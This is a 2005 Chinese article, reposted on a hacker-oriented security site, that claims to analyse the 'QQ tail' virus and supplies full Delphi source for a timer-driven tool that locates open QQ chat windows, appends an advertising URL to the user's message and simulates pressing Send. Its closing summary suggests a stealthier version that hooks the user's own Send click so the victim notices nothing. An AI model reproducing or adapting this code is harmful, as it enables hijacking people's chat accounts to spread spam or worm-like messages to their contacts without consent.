通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 红客教程 >> 菜鸟入门 >> 文章正文
QQ尾巴病毒的发送原理分析
责任编辑:admin   更新日期:2005-7-6
 
作者:冷枫    来源:IT安全网

近来QQ尾巴病毒大肆发作,我也是经常收到网友们发到来的带尾巴的消息,于是,好奇心一来,我也来研究研究此病毒的发作原理。首先,我不知道QQ尾巴病毒真正的原理,我只是猜测并且自己写了一个类似的程序来实现它。
QQ尾巴的发作情况:当用户打开一个QQ消息发送窗口时,病毒会自动往消息文本框里输入文本,然后不等用户反应过来就发出去了。

程序实现:首先要找到QQ消息发送窗口的句柄以及消息文本框与“发送”按钮的窗口句柄。

一、 如何找到QQ消息发送窗口句柄:

QQ消息发送窗口有两种,一种是消息模式,在这种情况下,窗口标题含有“发送消息”字样;一种是聊天模式,窗口标题含有“聊天中”字样;

通过枚举窗口就可找到相应的句柄:

// 取得QQ的发送消息窗口

function GetQQWnd: HWND;

var

hCurrentWindow: HWnd;

WndText:String;

begin

hCurrentWindow := GetWindow(Application.Handle, GW_HWNDFIRST);

while hCurrentWindow <> 0 do

begin

WndText:=GetWndText(hCurrentWindow);

if (Pos('聊天中',WndText)>0) or (Pos('发送消息',WndText)>0) then

begin

Result:=hCurrentWindow;

Exit;

end;

hCurrentWindow := GetWindow(hCurrentWindow, GW_HWNDNEXT);

end;

Result:=0;

end;

二、 如何找到“发送”按钮窗口句柄:

找到了QQ的发送消息窗口后,就可以进一步查找“发送”按钮句柄了,如窗口句柄为qqWnd,则可以用一个循环,查找文本中含有“发送”字样的窗口,经过试验发现,“发送”按钮恰恰是窗体的第一个子窗口,这样,可以用

btnWnd:=GetDlgItem(qqWnd,1); // 发送按钮

来获得“发送”按钮的句柄。

三、 如何找到消息文本框窗口句柄:

消息文本框并不好找,不过你可以先在消息文本框中输入几个字母,如“abcd”,这样我们就可以用上述方法来查找了,不过通过实验后,发现消息文本框并不是QQ窗口的直接子窗口,而是其中一个子窗口的子窗口,通过实验,可以用

txtWnd:=GetWindow(GetDlgItem(qqWnd,0),GW_CHILD); // 文本框

来获得。

四、 如何获得原消息文本框的文本:

要获取原消息文本框的文本,只需要一个API函数就行了,如下:

// 获得窗口文本

function GetWndText(hWnd: HWND): String;

Var

Ret:LongInt;

mText:PChar;

Buf:Integer;

begin

Ret:=SendMessage(hWnd,WM_GETTEXTLENGTH,0,0)+1;

GetMem(mText,Ret);

try

Buf:=LongInt(mText);

SendMessage(hWnd,WM_GETTEXT,Ret,Buf);

Result:=StrPas(mText);

finally

FreeMem(mText,Ret);

end;

end;

五、 如何住原消息文本框里追加文本:

与取文本相反

// 发送文本到窗口

procedure SetWndText(hWnd: HWND; Text: String);

Var

Ret:LongInt;

mText:PChar;

Buf:Integer;

begin

GetMem(mText,Length(Text));

StrCopy(mText,PChar(Text));

try

Buf:=LongInt(mText);

SendMessage(hWnd,WM_SETTEXT,0,Buf);

finally

FreeMem(mText,Length(Text));

end;

end;

六、 如果让“发送”按钮自动点击:

一切都准备好了,现在要开始发送了,为了让消息自动发送,我们可以模拟“发送”按钮被点击了。

SendMessage(btnWnd,WM_LBUTTONDOWN,MK_LBUTTON,0);

SendMessage(btnWnd,WM_LBUTTONUP,0,0);

通过模拟一个鼠标在“开始”按钮上的按下与放开,就实现了点击发送功能。

七、 其它的定时功能比较简单,在此也不多说了。

八、 全部源代码如下:

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, StdCtrls, ExtCtrls;

type

TForm1 = class(TForm)

Timer1: TTimer;

Button1: TButton;

Edit1: TEdit;

Label1: TLabel;

Button2: TButton;

procedure Timer1Timer(Sender: TObject);

procedure Button1Click(Sender: TObject);

procedure Button2Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.dfm}

// 获得窗口文本

function GetWndText(hWnd: HWND): String;

Var

Ret:LongInt;

mText:PChar;

Buf:Integer;

begin

Ret:=SendMessage(hWnd,WM_GETTEXTLENGTH,0,0)+1;

GetMem(mText,Ret);

try

Buf:=LongInt(mText);

SendMessage(hWnd,WM_GETTEXT,Ret,Buf);

Result:=StrPas(mText);

finally

FreeMem(mText,Ret);

end;

end;

// 发送文本到窗口

procedure SetWndText(hWnd: HWND; Text: String);

Var

Ret:LongInt;

mText:PChar;

Buf:Integer;

begin

GetMem(mText,Length(Text));

StrCopy(mText,PChar(Text));

try

Buf:=LongInt(mText);

SendMessage(hWnd,WM_SETTEXT,0,Buf);

finally

FreeMem(mText,Length(Text));

end;

end;

// 取得QQ的发送消息窗口

function GetQQWnd: HWND;

var

hCurrentWindow: HWnd;

WndText:String;

begin

hCurrentWindow := GetWindow(Application.Handle, GW_HWNDFIRST);

while hCurrentWindow <> 0 do

begin

WndText:=GetWndText(hCurrentWindow);

if (Pos('聊天中',WndText)>0) or (Pos('发送消息',WndText)>0) then

begin

Result:=hCurrentWindow;

Exit;

end;

hCurrentWindow := GetWindow(hCurrentWindow, GW_HWNDNEXT);

end;

Result:=0;

end;

// 定时处理

procedure TimerProc;

var

qqWnd,txtWnd,btnWnd:HWND;

Msg:String;

begin

qqWnd:=GetQQWnd;

if qqWnd=0 then Exit;

btnWnd:=GetDlgItem(qqWnd,1); // 发送按钮

txtWnd:=GetWindow(GetDlgItem(qqWnd,0),GW_CHILD); // 文本框

if (btnWnd=0) or (txtWnd=0) then Exit;

Msg:=GetWndText(txtWnd);

Msg:=Msg+#13+#10+'欢迎光临绿荫网络http://www.lvyin.net';

SetWndText(txtWnd,Msg);

SendMessage(btnWnd,WM_LBUTTONDOWN,MK_LBUTTON,0);

SendMessage(btnWnd,WM_LBUTTONUP,0,0);

end;

procedure TForm1.Timer1Timer(Sender: TObject);

begin

TimerProc;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

Timer1.Enabled :=not Timer1.Enabled;

if Timer1.Enabled then

Button1.Caption :='停 止'

else

Button1.Caption :='开 始';

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

Timer1.Interval :=StrToInt(Edit1.Text);

end;

end.

总结:上面只讲述了QQ消息自动发送的主要功能,这或许跟QQ尾巴的原理不同(我也不知道),但总体上应该差不多。如果要做到让用户感觉不到异常,就要改一下了,不要自动发送,而是在当用户点击了“发送”按钮后再把文本加进去。这样的话可是拦截“发送”按钮的点击消息,然后再用上述方法把文本加进去,然后把消息交还原程序处理。至于如何让它成为病毒,会自我复制,自我隐藏等功能,那又是另外一个话题了,在此就不多讲了。


  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    固顶文章 爱国者安全网2007年度优秀版主评选
    普通文章 瑞星公司01月11日发布 每日计算机病毒及木马播报
    普通文章 破解博彩神助(专注彩票) V2.8.01
    推荐文章 推荐:跨站脚本执行漏洞代码的六点思路
    普通文章 Windows系统下的远程堆栈溢出 实战篇
    普通文章 Windows系统下的远程堆栈溢出 原理篇
    普通文章 MsSQLServer是如何加密口令的
    普通文章 浅谈国内的渗透评估过程
    普通文章 Dvbbs8.1 0DAY(通杀Access和mssql版本)
    普通文章 微软:我们的代码比赛门铁克更安全
    热门文章
    普通文章提醒:“求职信”病毒1月6日发作
    普通文章两条“蠕虫”蠢蠢欲动
    普通文章5“网银大盗”狂盗储户14万 武汉男子被判10年
    普通文章“木马事件”终告结束 英语学习网重获新生
    普通文章搜索引擎不再喜欢新米,并非只是CN米
    普通文章蠕虫"威金"新变种 "小熊猫"屠宰多个计算机系统
    普通文章元旦上网谨防“Real蛀虫” 通过视频文件传播
    普通文章入侵工具Knark的分析及防范
    普通文章认清本质 计算机病毒防治常遇问题
    普通文章饶过现代Anti-Rookit工具的内核模块扫描(ZT)
    精彩专题